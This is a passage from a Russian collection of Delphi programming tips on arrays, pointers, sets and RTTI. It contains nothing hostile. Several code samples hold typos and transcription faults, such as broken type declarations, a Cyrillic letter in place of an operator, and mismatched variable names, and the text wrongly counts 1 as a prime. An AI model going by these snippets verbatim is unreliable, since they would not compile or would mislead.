  end;

  function HexWord(W: Word): string;
  begin
    Result := HexByte(Hi(W)) + HexByte(Lo(W));
  end;

begin
  Result := HexWord(HiWord(LongInt(P))) + ':' + HexWord(LoWord(LongInt(P)));
end;

procedure Display(X: array of const);
var
  I: Integer;
begin
  for I := 0 to High(X) do
    with TVarRec(X[I]), Data do
    begin
      case Tag of
        0: ShowMessage('Integer: ' + IntToStr(L));
        1: if B then
            ShowMessage('Boolean: True')
          else
            ShowMessage('Boolean: False');
        2: ShowMessage('Char: ' + C);
        3: ShowMessage('Float: ' + FloatToStr(E^));
        4: ShowMessage('String: ' + S^);
        5: ShowMessage('Pointer: ' + PtrToStr(P));
        6: ShowMessage('PChar: ' + StrPas(X));
        7: ShowMessage('Object: ' + O.ClassName);
      end;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  P: array[0..5] of Char;

begin
  P := 'Привет'#0;
  Display([-12345678, True, 'A', 1.2345, 'ABC', Ptr($1234, $5678), P,
    Form1]);
end;

Взято с http://delphiworld.narod.ru

Массив констант (array of const) фактически является открытым массивом TVarRec (описание предекларированных типов Delphi вы можете найти в электронной справке). Приведенный ниже "псевдокод" на языке Object Pascal может послужить скелетом для дальнейшего развития:

procedure AddStuff(const A: array of const);
var i: Integer;
begin
  for i := Low(A) to High(A) do
    with A[i] do
      case VType of
        vtExtended:
          begin
{ добавляем натуральное число, все real-форматы
автоматически приводятся к extended }
          end;
        vtInteger:
          begin

{ добавляем целое число, все integer-форматы
автоматически приводятся к LongInt }
          end;
        vtObject:
          begin
            if VObject is DArray then
              with DArray(VObject) do
                begin
{ добавляем массив double-типа }
                end
            else if VObject is IArray then
              with IArray(VObject) do
                begin
{ добавляем массив integer-типа }
                end;
          end;
      end; { Case }
end; { AddStuff }

Для получения дополнительной информации загляните в главу "open arrays" электронной справки.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Работа с большими массивами

л

Распределите память кучи с помощью GetMem. Если вы имеете:

var
  a, b: array[0..30000]: Integer;

то попробуйте:

type
  TBigArray = array[0..30000] of Integer;

var
  a, b: ^TBigArray;

и во внешнем блоке сделайте:

GetMem(a, SizeOf(TBigArray));
GetMem(b, SizeOf(TBigArray));

Также необходимо применять указатели на память вместо ссылок, например взамен:

a[0] := xxx;

необходимо использовать

a^[0] := xxx;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Использование многомерного массива

type RecType = integer; {<-- здесь задается тип элементов массива}

const MaxRecItem = 65520 div sizeof(RecType);

type = MyArrayType = array[0..MaxRecItem] of RecType;
type = MyArrayTypePtr = ^MyArrayType;

var MyArray: MyArrayTypePtr;
begin
  ItemCnt := 10; {количество элементов массива, которые необходимо распределить}
  GetMem(MyArray, ItemCnt * sizeof(MyArray[1])); {распределение массива}
  MyArray^[3] := 10; {доступ к массиву}
  FreeMem(MyArray, ItemCnt * sizeof(MyArray[1])); {освобождаем массив после работы с ним}
end;

- Michael Day
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Массив без ограничения типа и размера

//к примеру опишем свой тип
type

  MyType = record
    zap1: longword;
    zap2: char;
    zap3: string[10];
  end;

//опишем НЕОГРАНИЧЕННЫЙ массив переменный типа MyType
//хотя, может использоваться абсолютно любой
var
  m: array of MyType;

  ....

procedure TForm1.Button1Click(Sender: TObject);
var i: byte;
begin
  for i := 0 to 9 do // нумерация элементов начинается с нуля!

    begin
      SetLength(m, Length(m) + 1); // увеличение длины массива на 1
      m[i].zap1 := i; //  присвоение
      m[i].zap2 := chr(i); //          полям
      m[i].zap3 := inttostr(i); //              значений
    end;
end;

....

SetLength(m, 0); // освобождение памяти
end.

C Уважением,
Сергей Дьяченко, sd@arzamas.nnov.ru
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Создание многомерного массива

type
  PRow = ^TRow;
  TRow = array[0..16379] of Single;

  PMat = ^TMat;
  TMat = array[0..16379] of PRow;

var
  Mat: PMat;
  X, Y, Xmax, Ymax: Integer;

begin
  Write('Задайте размер массива: ');
  ReadLn(Xmax, Ymax);
  if (Xmax <= 0) or (Xmax > 16380) or (Ymax <= 0) or (Ymax > 16380) then
    begin
      WriteLn('Неверный диапазон. Не могу продолжить.');
      Exit;
    end;
  GetMem(Mat, Xmax * SizeOf(PRow));
  for X := 0 to Xmax - 1 do
    begin
      GetMem(Mat[X], Ymax * SizeOf(Single));
      for Y := 0 to Ymax - 1 do
        Mat^[X]^[Y] := 0.0;
    end;
  WriteLn('Масси инициализирован и готов к работе.');
  WriteLn('Но эта программа закончила свою работу.');
end.

- Steve Schafer
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как удалить одно значение из динамического массива?

type
  TArrayString = array of string;

procedure DeleteArrayIndex(var X: TArrayString; Index: Integer);
begin
  if Index > High(X) then Exit;
  if Index < Low(X) then Exit;
  if Index = High(X) then
  begin
    SetLength(X, Length(X) - 1);
    Exit;
  end;
  Finalize(X[Index]);
  System.Move(X[Index +1], X[Index],
  (Length(X) - Index -1) * SizeOf(string) + 1);
  SetLength(X, Length(X) - 1);
end;

// Example : Delete the second item from array a
// Beispiel : Losche das 2. Element vom array a

procedure TForm1.Button2Click(Sender: TObject);
var
  a: TArrayString;
begin
  DeleteArrayIndex(a, 2);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Запись массива на диск

Скажем, ваша структура данных выглядит следующим образом:

type
  TMyRec = record
    SomeField: Integer;
    SomeOtherField: Double;
    TheRest: array[0..99] of Single;
  end;

и TBlobField имеет имя MyBlobField. TMyRec назван как MyRec. Для копирования содержимого MyRec в MyBlobField необходимо сделать следующее:

var
  Stream: TBlobStream;
begin
  Stream := TBlobStream.Create(MyBlobField, bmWrite);
  Stream.Write(MyRec, SizeOf(MyRec));
  Stream.Free;
end;

Есть другой путь:

var
  Stream: TBlobStream;
begin
  Stream := TBlobStream.Create(MyBlobField, bmRead);
  Stream.Read(MyRec, SizeOf(MyRec));
  Stream.Free;
end;

- Steve Schafer
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Операции над числовыми массивами

MaxIntValue Возвращает наибольшее значение целочисленного массива.
MaxValue Возвращает наибольшее значение числового массива.
Mean Вычисляет среднее арифметическое всех значений массива.
MeanAndStdDev Вычисляет среднее арифметическое всех значений массива, и среднее отклонение.
MinIntValue Возвращает наименьшее значение целочисленного массива.
MinValue Возвращает наименьшее значение числового массива.
MomentSkewKurtosis Вычисляет среднее значение, дисперсию, отклонение и периодичность.
Norm Возвращает Евклидову норму для всех значений массива.
PopnStdDev Вычисляет среднеквадратичное отклонение для совокупности данных.
PopnVariance Вычисляет дисперсию совокупности данных.
StdDev Вычисляет стандартное среднеквадратичное отклонение элементов массива.
Sum Вычисляет сумму значений всех элементов числового массива.
SumInt Вычисляет сумму значений всех элементов целочисленного массива.
SumOfSquares Вычисляет сумму квадратов всех элементов числового массива.
SumsAndSquares Возвращает сумму элементов и сумму квадратов всех элементов числового массива.
TotalVariance Вычисляет статистическую дисперсию.
Variance Вычисляет типовую дисперсию всех значений массива.
Взято с http://atrussk.ru/delphi/


Использование PHP-like операций с массивами

//Some Array-functions like in PHP.

type

  ArrOfStr = array of string;

implementation

function explode(sPart, sInput: string): ArrOfStr;
begin
  while Pos(sPart, sInput) <> 0 do
  begin
    SetLength(Result, Length(Result) + 1);
    Result[Length(Result) - 1] := Copy(sInput, 0,Pos(sPart, sInput) - 1);
    Delete(sInput, 1,Pos(sPart, sInput));
  end;
  SetLength(Result, Length(Result) + 1);
  Result[Length(Result) - 1] := sInput;
end;

function implode(sPart: string; arrInp: ArrOfStr): string;
var
  i: Integer;
begin
  if Length(arrInp) <= 1 then Result := arrInp[0]
  else
  begin
    for i := 0 to Length(arrInp) - 2 do Result := Result + arrInp[i] + sPart;
    Result := Result + arrInp[Length(arrInp) - 1];
  end;
end;

procedure sort(arrInp: ArrOfStr);
var
  slTmp: TStringList;
  i: Integer;
begin
  slTmp := TStringList.Create;
  for i := 0 to Length(arrInp) - 1 do slTmp.Add(arrInp[i]);
  slTmp.Sort;
  for i := 0 to slTmp.Count - 1 do arrInp[i] := slTmp[i];
  slTmp.Free;
end;

procedure rsort(arrInp: ArrOfStr);
var
  slTmp: TStringList;
  i: Integer;
begin
  slTmp := TStringList.Create;
  for i := 0 to Length(arrInp) - 1 do slTmp.Add(arrInp[i]);
  slTmp.Sort;
  for i := 0 to slTmp.Count - 1 do arrInp[slTmp.Count - 1 - i] := slTmp[i];
  slTmp.Free;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Сохранение и загрузка двумерного динамического масива

type
  T2DBooleanArray = array of array of Boolean;

procedure Save2DBooleanArray(const A: T2DBooleanArray; S: TStream);
var
  writer: TWriter;
  i: Integer;
begin
  Assert(Assigned(S));
  writer := TWriter.Create(S, 8096);
  try
    writer.WriteInteger(Length(A));
    for i := 0 to Length(A) - 1 do
    begin
      writer.WriteInteger(Length(A[i]));
      writer.Write(A[i, 0], Length(A[i]) * sizeof(A[i, 0]));
    end; { For }
  finally
    writer.Free;
  end; { Finally }
end;

procedure Load2DBooleanArray(var A: T2DBooleanArray; S: TStream);
var
  reader: TReader;
  i, numrows, numcols: Integer;
begin
  Assert(Assigned(S));
  reader := TReader.Create(S, 8096);
  try
    numrows := reader.ReadInteger;
    SetLength(A, numrows);
    for i := 0 to numrows - 1 do
    begin
      numcols := reader.ReadInteger;
      SetLength(A[i], numcols);
      reader.Read(A[i, 0], numcols * sizeof(A[i, 0]));
    end; { For }
  finally
    reader.Free;
  end; { Finally }
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с указателями

Cодержание раздела:

Как избежать использования неактуальных указателей
Пример работы с указателями
Арифметика указателей
Получение ссылки на экземпляр класса
Использование указателей на целое
Method pointers --> function pointers New!


Как избежать использования неактуальных указателей

Я создал простой модуль и разработал несколько простых методов, помогающих избежать использования неактуальных (в оригинале было "stale" - черствый, несвежий) указателей. Я настоятельно рекомендую добавить во все модули, содержащие указатели или объектные переменные секцию инициализации ('initialization') и установить все указатели (объектные переменные это те же реальные указатели) в nil. Что это даст: прежде чем хотя бы один указатель будет использован, он обязательно будет проверен, освобожден и установлен в nil. Затем, после освобождения указателей, просто установите их в nil. Мой модуль содержит функцию Nilify() для установки указателей в nil, а также специальные версии методов Free, Dispose, и FreeMem (названные NilXXX) для проверки значения nil перед освобождением памяти, и установления указателя в nil сразу после того, как он был освобожден. Я также включил специальную версию Assigned(), названную IsNil(), которая вместо переменного (var) параметра получает константу, которую вы можете затем использовать в своих свойствах, и т.п.
Этот модуль, конечно, ничего не делает с VCL, но тем не менее вы можете иметь неактуальные указатели и с VCL... Строгое соблюдение функций модуля сделает вас уверенным в отсутствии ошибок при работе с указателями. Единственное условие использования модуля - в случае любых изменений кода с вашей стороны или наличия каких-либо замечаний или предложений пришлите их пожалуйста мне. Пользуйтесь на здоровье!
unit Pointers;

{
Автор: David S. Becker (dsb@plaza.ds.adp.com)
Дата: 1/27/97
Авторские права: Нет
Дистрибутивные права: Свободные, неограниченное использование, в случае любых изменений кода
с вашей стороны или наличия каких-либо замечаний или предложений пришлите их пожалуйста мне.

Данный модуль создавался для помощи в управлении указателями и объектами. Так как
компилятор не инициализирует указатели и объекты в nil и не сбрасывает
их в nil при освобождении, существует вероятность применения неактуального
указателя. По этой причине я рекомендую добавление секции 'initialization'
во все модули и вызове Nilify() для всех указателей/объектов в данном модуле.
Это позволит быть уверенным, что все указатели/объекты стартуют как nil.
Кроме того, вместо стандартных аналогов, вы можете использовать NilFree
(для объектов), NilDispose (для указателей, создаваемых с помощью New),
и NilFreeMem (для указателей, создаваемых с помощью GetMem). Эти процедуры
безопасны при вызове nil-вых указателей/объектов, так как перед выполнением
любых действий они проверяют их на nil. После освобождения распределенной
указателем/объектом памяти они сбрасываются в nil. Строгое соблюдение функций
модуля значительно снижает риск использования неактуального указателя.
(Конечно, вы еще можете получить неактуальные указатели из VCL, т.к.
они, естественно, не используют данные функции.)
}

interface

{ Проверка указателя на nil }
{ ПРИМЕЧАНИЕ: Данная функция отличается от Assigned() тем, что Assigned() }
{ требует переменную, а IsNil() нет.                                      }
function IsNil(const p: Pointer): Boolean;{ Устанавливает указатель в nil }
procedure Nilify(var p);{ Освобождает не-nil объект и устанавливает его в nil }
procedure NilFree(o: TObject);{ Освобождает не-nil указатель, созданный с помощью New и устанавливает его в nil }
procedure NilDispose(var p: Pointer);{ Освобождает не-nil указатель и устанавливает его в nil }
procedure NilFreeMem(var p: Pointer; size: Word);

implementation

function IsNil(const p: Pointer): Boolean;
begin
  Result := (p = nil);
end;

procedure Nilify(var p);
begin
  Pointer(p) := nil;
end;

procedure NilFree(o: TObject);
begin
  if not IsNil(o) then
    begin
      o.Free;
      Nilify(o);
    end;
end;

procedure NilDispose(var p: Pointer);
begin
  if not IsNil(p) then
    begin
      Dispose(p);
      Nilify(p);
    end;
end;

procedure NilFreeMem(var p: Pointer; size: Word);
begin
  if not IsNil(p) then
    begin
      FreeMem(p, size);
      Nilify(p);
    end;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Пример работы с указателями

var
p1 : ^String;
s1 : String;
begin
s1 := 'NotTest';
new (p1);
p1 := @s1;
p1^ := 'Test';
Label1.Caption := s1

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Арифметика указателей

Сначала короткое объяснение арифметике указателя. Когда вы имеете дело с динамическими страницами памяти, то все, что вы имеете - это указатели на начала блоков памяти. Вы хотите просмотреть всю строку памяти, чтобы понять какие функции необходимы для работы с данными, хранящимися в памяти? Это возможно путем изменения места в памяти, на которое указывает указатель. Это называется арифметикой указателя.

Основополагающая идея при занятиях арифметикой с указателем - указатель должен быть увеличен на значение корректного приращения. (Корректное приращение определяется размером объекта, на который показывает указатель. Например, char = 1 байт; integer = 2 байта; double = 8 байт и т.д.) Функции Inc() и Dec() изменяют значение корректного приращения. (Компилятор знает правильный размер объекта.)

Если вы осуществляете динамическое распределение памяти, то делать это можно примерно так:

uses WinCRT;

procedure TForm1.Button1Click(Sender: TObject);
var
  MyArray: array[0..30] of char;
  b: ^char;
  i: integer;
begin
  StrCopy(MyArray, 'Дельфи - рулез фарева!');
    {помещаем что-то в память для организации указателя}
  b := @MyArray; { назначаем указатель на текущую позицию памяти }
  for i := StrLen(MyArray) downto 0 do
  begin
    write(b^); { пишем символ в текущую позицию указателя. }
    inc(b); { перемещаем указатель на следующий байт памяти }
  end;
end;

Нижеследующий код демонстрирует работу функций Inc() и Dec(), увеличивающих или уменьшающих указатель на размер соответствующего типа:

var
  P1, P2: ^LongInt;
  L: LongInt;
begin
  P1 := @L; { назначаем оба указателя на одно и то же место }
  P2 := @L;
  Inc(P2); { Увеличиваем один }

  { Здесь мы получаем разницу между смещениями двух
  указателей. Поскольку первоначально они указывали на одно
  и то же место памяти, то результатом данного вызова
  будет разница между двумя указателями после вызова Inc(). }

  L := Ofs(P2^) - Ofs(P1^); { L = 4; т.е. sizeof(longInt) }
end;

Вы можете изменить тип объекта, на который указывает P1 и P2, на какой-то другой и убедиться, что (SizeOf(P1^)) всегда возвращает величину корректного приращения (проще сказать, что это размер объекта - В.О.).

Взято с http://delphiworld.narod.ru


Получение ссылки на экземпляр класса

...мне также понадобилось в подпрограмме получить ссылку на дочернее MDI-окно без сообщения подпрограмме с каким конкретно классом MDI необходимо работать. Что я сделал: я передавал в виде параметров тип дочернего MDI-окна и ссылку как нетипизированную переменную и затем обрабатывал это в подпрограмме.

Вот пример. Эта подпрограмма работает с дочерним окном, которое может иметь только один экземпляр. Если оно не открыто, подпрограмма создаст его, если оно открыто, оно переместит его на передний план.

procedure FormLoader(FormClassType: TFormClass; var FormName);
begin
  if TForm(FormName) = nil then
    begin
      Application.CreateForm(FormClassType, FormName);
    end
  else
    begin
      TForm(FormName).BringToFront;
      TForm(FormName).WindowState := wsNormal;
    end;
end;

Вот как это вызывать:

procedure TfrmTest.sbOpenClick(Sender: TObject);
begin
  FormLoader(TfrmTest, frmTest);
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Использование указателей на целое

Сначала вы должны создать тип:

Type
Pinteger : ^Integer;

Var
MyPtr : Pinteger;

Мне кажется, что в начале вы использовали плохой пример, имеет смысл использовать 32-битный указатель для 16-битной величины или распределять 10 байт для переменной.

Pascal позволяет вам использовать методы NEW и DISPOSE, которые автоматически распределяют и освобождают правильные размеры блока.

Например,

NEW(MyPtr) = GetMem(MyPtr, Sizeof(MyPtr))

Возможно, вы захотите подсчитать количество целочесленных переменных. В этом случае ознакомьтесь с возможностями TList. Пока лучше используйте линейный массив (или указатель на первый элемент, чтобы вычислить их количество, достаточно разделить количество занимаемой массивом памяти на количество элементов).

Для полноты, это должно быть:

NEW(MyPtr) = GetMem(MyPtr, SizeOf(MyPtr^));

SizeOf(MyPtr) всегда будет равен 4 байта, как 16-битный указатель.

Если я правильно разобрался в том, что вы хотите (динамический массив целых, количество элеметнов которого может быть известно только во время выполнения приложения), вы можете сделать так:

Type
  pIntArr = ^IntArr;
  IntArr  = Array[1..1000] of Integer;
Var
  MyPtr : pIntArr;
Begin
  GetMem(MyPtr, 10); { 10 = SizeOf(Integer) * 5 !!)
  { MyPtr[2]:=1; }
  // <<<< Заполняем массив >>>>
  MyPtr[2]^:=1;
  FreeMem(MyPtr,10);
End;

Технология похожа на ту, которуя Delphi использует при работе с pchar. Синтаксис очень похож:

type
  intarray = array[0..20000] of integer;

procedure TForm1.Button1Click(Sender: TObject);
var
  xptr:  ^IntArray;
begin
  GetMem(xptr, 10);
  xptr^[idx] := 1;  { где idx от 0 до 4, поскольку мы
                      имеем 10 байте = 5 целых }
  FreeMem(xptr, 10);
end;

Обратите внимание на то, в вам в действительности нет необходимости распределять массив для 20,000 элементов, но проверка диапазона Delphi не будет работать, если диапазон равен 20,000. (Предостережение будущим пользователям!)

Взято с http://delphiworld.narod.ru


Method pointers --> function pointers

// Converting method pointers into function pointers

// Often you need a function pointer for a callback function. But what, if you want to specify a method as
// an callback? Converting a method pointer to a function pointer is not a trivial task; both types are
// incomatible with each other. Although you have the possibility to convert like this "@TClass.SomeMethod",
// this is more a hack than a solution, because it restricts the use of this method to some kind of a class
// function, where you cannot access instance variables. If you fail to do so, you'll get a wonderful gpf.
// But there is a better solution: run time code generation! Just allocate an executeable memory block, and
// write 4 machine code instructions into it: 2 instructions loads the two pointers of the method pointer
// (code & data) into the registers, one calls the method via the code pointer, and the last is just a return
// Now you can use this pointer to the allocated memory as a plain funtion pointer, but in fact you are
// calling a method for a specific instance of a Class.

type TMyMethod = procedure of object;

function MakeProcInstance(M: TMethod): Pointer;
begin
  // allocate memory
  GetMem(Result, 15);
  asm
    // MOV ECX,
    MOV BYTE PTR [EAX], $B9
    MOV ECX, M.Data
    MOV DWORD PTR [EAX+$1], ECX
    // POP EDX
    MOV BYTE PTR [EAX+$5], $5A
    // PUSH ECX
    MOV BYTE PTR [EAX+$6], $51
    // PUSH EDX
    MOV BYTE PTR [EAX+$7], $52
    // MOV ECX,
    MOV BYTE PTR [EAX+$8], $B9
    MOV ECX, M.Code
    MOV DWORD PTR [EAX+$9], ECX
    // JMP ECX
    MOV BYTE PTR [EAX+$D], $FF
    MOV BYTE PTR [EAX+$E], $E1
  end;
end;

procedure FreeProcInstance(ProcInstance: Pointer);
begin
  // free memory
  FreeMem(ProcInstance, 15);
end;

// After all, you should not forget to release the allocated memory.
// "TMyMethod" can be modified according your specific needs, e.g. add some parameters for a WindowProc.
// N.B.: Yes, I know, Delphi has those "MakeProcInstance" function in its forms unit.
// But this works a little bit different, has much more overhead,
// and most important, you have to use the forms unit, which increases the size of your exe drastically,
// if all other code doesn't use the VCL (e.g. in a fullscreen DirectX/OpenGl app).

// Wer noch Fragen hat / if you have questions: Florian.Benz@t-online.de

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с множествами

Что такое множества? New!


Что такое множества?

Множества - это наборы однотипных логически связанных друг с другом объектов. Характер связей между объектами лишь подразумевается программистом и никак не контролируется Object Pascal. Количество элементов, входящих в множество, может меняться в пределах от 0 до 256 (множество, не содержащее элементов, называется пустым). Именно непостоянством количества своих элементов множества отличаются от массивов и записей.

Два множества считаются эквивалентными тогда и только тогда, когда все их элементы одинаковы, причем порядок следования элементов в множестве безразличен. Если все элементы одного множества входят также и в другое, говорят о включении первого множества во второе. Пустое множество включается в любое другое.

Пример определения и задания множеств:

type
  digitChar = set of '0'..'9';
  digit = set of 0. .9;
var
  sl,s2,s3 : digitChar;
  s4,s5,s6 : digit;
begin
  si := ['1', '2', '3'];
  s2 := ['3', '2', '1'];
  s3 := ['2', '3'];
  s4 := [0..3, 6];
  s5 := [4, 5];
  s6 := [3..9];
end.

В этом примере множества si и s2 эквивалентны, а множество S3 включено в s 2 , но не эквивалентно ему.

Описание типа множества имеет вид:

<имя типа> = set of <базовый тип>;

Здесь <имя типа> - правильный идентификатор; set, of - зарезервированные слова (множество, из); <базовый тип> - базовый тип элементов множества, в качестве которого может использоваться любой порядковый тип, кроме Word, Integer, Longint, Int64.

Для задания множества используется так называемый конструктор множества: список спецификаций элементов множества, отделенных друг от друга запятыми; список обрамляется квадратными скобками. Спецификациями элементов могут быть константы или выражения базового типа, а также тип-диапазон того же базового типа.

Над множествами определены следующие операции:

* пересечение множеств; результат содержит элементы, общие для обоих множеств; например, s4*s6 содержит [3], s4*s5 -пустое множество (см. выше);

+ объединение множеств; результат содержит элементы первого множества, дополненные недостающими элементами из второго множества:

S4+S5 содержит [0,1,2,3,4,5,6];

S5+S6 содержит [3, 4, 5, 6, 7, 8, 9] ;

разность множеств; результат содержит элементы из первого множества, которые не принадлежат второму:

S6-S5 содержит [3,6,7,8,9];

S4-S5 содержит [0,1, 2, 3, 6] ;

= проверка эквивалентности; возвращает True, если оба множества эквивалентны;

<> проверка неэквивалентности; возвращает True, если оба множества неэквивалентны;

<= проверка вхождения; возвращает True, если первое множество включено во второе;

>= проверка вхождения; возвращает True, если второе множество включено в первое;

in проверка принадлежности; в этой бинарной операции первый элемент - выражение, а второй - множество одного и того же типа; возвращает True, если выражение имеет значение, принадлежащее множеству:

3 in s 6 возвращает True;

2*2 in si возвращает False.

Дополнительно к этим операциям можно использовать две процедуры.

include - включает новый элемент во множество. Обращение к процедуре:

Include(S,I)

Здесь s - множество, состоящее из элементов базового типа TSet Base; I - элемент типа TSetBase, который необходимо включить во множество.

exclude - исключает элемент из множества. Обращение:

Exclude(S,I)

Параметры обращения - такие же, как у процедуры include. В отличие от операций + и -, реализующих аналогичные действия над двумя множествами, процедуры оптимизированы для работы с одиночными элементами множества и поэтому отличаются высокой скоростью выполнения.

Учебная программа PRIMSET

В следующем примере, иллюстрирующем приемы работы с множествами, реализуется алгоритм выделения из первой сотни натуральных чисел всех простых чисел[ Простыми называются целые числа, которые не делятся без остатка на любые другие целые числа, кроме 1 и самого себя. К простым относятся 1, 2, 3, 5, 7, 11, 13 и т. д.. ]. В его основе лежит прием, известный под названием "решето Эратосфена". В соответствии с этим алгоритмом вначале формируется множество BeginSet, состоящее из всех целых чисел в диапазоне от 2 до N. В множество primerset (оно будет содержать искомые простые числа) помещается 1. Затем циклически повторяются следующие действия:

взять из BeginSet первое входящее в него число Next и поместить его В PrimerSet;
удалить из BeginSet число Next и все другие числа, кратные ему, Т. е. 2*Next, 3*Next И Т.Д.
Цикл повторяется до тех пор, пока множество BeginSet не станет пустым.

Эту программу нельзя использовать для произвольного N, так как в любом множестве не может быть больше 256 элементов.

procedure TfmExample.bbRunClick(Sender: TObject);
// Выделение всех простых чисел из первых N целых
const
  N = 255; // Количество элементов исходного множества
type
  SetOfNumber = set of 1..N;
var
  n1,Next,i: Word; // Вспомогательные переменные
  BeginSet, // Исходное множество
  PrimerSet: SetOfNumber; // Множество простых чисел
  S : String;
begin
  BeginSet := [2..N];
  // Создаем исходное множество
  PrimerSet:= [1]; // Первое простое число
  Next := 2; // Следующее простое число
  while BeginSet о [ ] do // Начало основного цикла
  begin
    nl := Next; //nl-число, кратное очередному простому (Next)
    // Цикл удаления из исходного множества непростых чисел:
    while nl <= N do
    begin
      Exclude(BeginSet, nl);
      n1 := nl + Next // Следующее кратное
    end; // Конец цикла удаления
    Include(PrimerSet, next);
    // Получаем следующее простое, которое есть первое
    // число, не вычеркнутое из исходного множества
    repeat
      inc(Next)
    until (Next in BeginSet) or (Next > N)
  end;
  // Конец основного цикла
  // Выводим результат:
  S := '1';
  for i := 2 to N do
    if i in PrimerSet then
      S := S+', '+IntToStr(i);
  mmOutput.Lines.Add(S)
end;

Перед тем как закончить рассмотрение множеств, полезно провести небольшой эксперимент. Измените описание типа SetOfNumber следующим образом:

type
 SetOfNumber = set of 1..1;

и еще раз запустите программу из предыдущего примера. На экран будет выведено 1, 3, 5, 7

Множества BeginSet и PrimerSet состоят теперь из одного элемента, а программа сумела поместить в них не менее семи!

Секрет этого прост: внутреннее устройство множества таково, что каждому его элементу ставится в соответствие один двоичный разряд (один бит); если элемент включен во множество, соответствующий разряд имеет значение 1, в противном случае - 0. В то же время минимальной единицей памяти является один байт, содержащий 8 бит, поэтому компилятор выделил множествам по одному байту, и в результате мощность каждого из них стала равна 8 элементам. Максимальная мощность множества - 256 элементов. Для таких множеств компилятор выделяет по 16 смежных байт.

И еще один эксперимент: измените диапазон базового типа на 1..256. Хотя мощность этого типа составляет 256 элементов, при попытке компиляции программы компилятор сообщит об ошибке: Sets may have at most 256 elements (Множества могут иметь не более 256 элементов) т. к. нумерация элементов множества начинается с нуля независимо от объявленной в программе нижней границы. Компилятор разрешает использовать в качестве базового типа целочисленный тип-диапазон с минимальной границей 0 и максимальной 255 или любой перечисляемый тип не более чем с 256 элементами (максимальная мощность перечисляемого типа - 65536 элементов).


Работа с перечисляемыми типами

Функции и процедуры для работы с данными перечислимого типа New!

См. статьи в других разделах:
Как получить строковое значение перечисляемого типа?
Как сделать текстовый список всех доступных свойств перечисляемого типа?


Функции и процедуры для работы с данными перечислимого типа

Dec Уменьшает значение переменной на заданную величину.
Inc Увеличивает значение переменной на заданную величину.
Odd Определяет четность аргумента.
Ord Возвращает порядковый номер выражения перечислимого типа или код ASCII выражения символьного типа.
Pred Возвращает значение, предшествующее аргументу.
Succ Возвращает значение, следующее за аргументом.
Взято с http://atrussk.ru/delphi/


RTTI и другие трюки с информацией о классах, модулях и т.п.

Cодержание раздела:

Теория и практика использования RTTI
Как прочитать значение свойства компонента по имени?
Как изменить значение свойства компонента по имени?
Как получить контекст свойства по его целочисленному значению?
Как получить значение свойства в виде варианта по тексту имени свойства?
Как прочитать весь список Published методов?
Как выяснить имеет ли объект определённое свойство? Updated!
Как сохранить значние свойства в поток?
Как определить, является ли метод потомком TNotifyEvent?
Как определить, насдледовано ли свойство от определённого класса?
Как прочитать свойство напрямую из его ресурса?
Как присвоить все значения полей одного класса, другому такому же классу?
Как сделать текстовый список всех доступных свойств перечисляемого типа?
Как изменить цвет всех компонентов на форме в Run_time?
Как выполнить метод по его имени?
Как получить строковое значение перечисляемого типа?
Как узнать имя файла моей программы?
Имя класса компонента и модуля
Как динамически прочитать информацию о классе

См. также другие разделы:
Объектное ориентирование


Теория и практика использования RTTI

Delphi — это мощная среда визуальной разработки программ сочетающая в себе весьма простой и эффективный язык программирования, удивительный по быстроте компилятор и подкупающую открытость (в состав Delphi входят исходные тексты стандартных модулей и практически всех компонент библиотеки VCL). Однако, как и на солнце, так и в Delphi существуют пятна (на солнце черные, а в Delphi — белые), пятна недокументированных (или почти не документированных) возможностей. Одно из таких пятен — это информация о типах времени исполнения и методы работы с ней.

Информация о типах времени исполнения.(Runtime Type Information, RTTI) —это данные, генерируемые компилятором Delphi о большинстве объектов вашей программы. RTTI представляет собой возможность языка, обеспечивающее приложение информацией об объектах (его имя, размер экземпляра, указатели на класс-предок, имя класса и т. д.) и о простых типах во время работы программы. Сама среда разработки использует RTTI для доступа к значениям свойств компонент, сохраняемых и считываемых из dfm-файлов и для отображения их в Object Inspector,

Компилятор Delphi генерирует runtime информацию для простых типов, используемых в программе, автоматически. Для объектов, RTTI информация генерируется компилятором для свойств и методов, описанных в секции published в следующих случаях:

Объект унаследован от объекта, дня которого генерируется такая информация. В качестве примера можно назвать объект TPersistent.

Декларация класса обрамлена директивами компилятора {$M+} и {$M-}.

Необходимо отметить, что published свойства ограничены по типу данных. Они могут быть перечисляемым типом, строковым типом, классом, интерфейсом или событием (указатель на метод класса). Также могут использоваться множества (set), если верхний и нижний пределы их базового типа имеют порядковые значения между 0 и 31 (иначе говоря, множество должно помещаться в байте, слове или двойном слове). Также можно иметь published свойство любого из вещественных типов (за исключением Real48). Свойство-массив не может быть published. Все методы могут быть published, но класс не может иметь два или более перегруженных метода с одинаковыми именами. Члены класса могут быть published, только если они являются классом или интерфейсом.

Корневой базовый класс для всех VCL объектов и компонент, TObject, содержит ряд методов для работы с runtime информацией. Наиболее часто используемые из них приведены в таблице 1.

Наиболее часто используемые методы класса TObject для работы с RTTI

Метод Описание
ClassType Возвращает тип класса объекта. Вызывается неявно компилятором при определении типа объекта при использовании операторов is и as
ClassName Возвращает строку, содержащую название класса объекта. Например, для объекта типа TForm вызов этой функции вернет строку "TForm"
ClassInfo Возвращает указатель на runtime информацию объекта
InstanceSize Возвращает размер конкретного экземпляра объекта в байтах.
Object Pascal предоставляет в распоряжение программиста два оператора, работа которых основана на неявном для программиста использовании RTTI информации. Это операторы is и as. Оператор is предназначен для проверки соответствия экземпляра объекта заданному объектному типу. Так, выражение вида:

AObject is TSomeObjectType

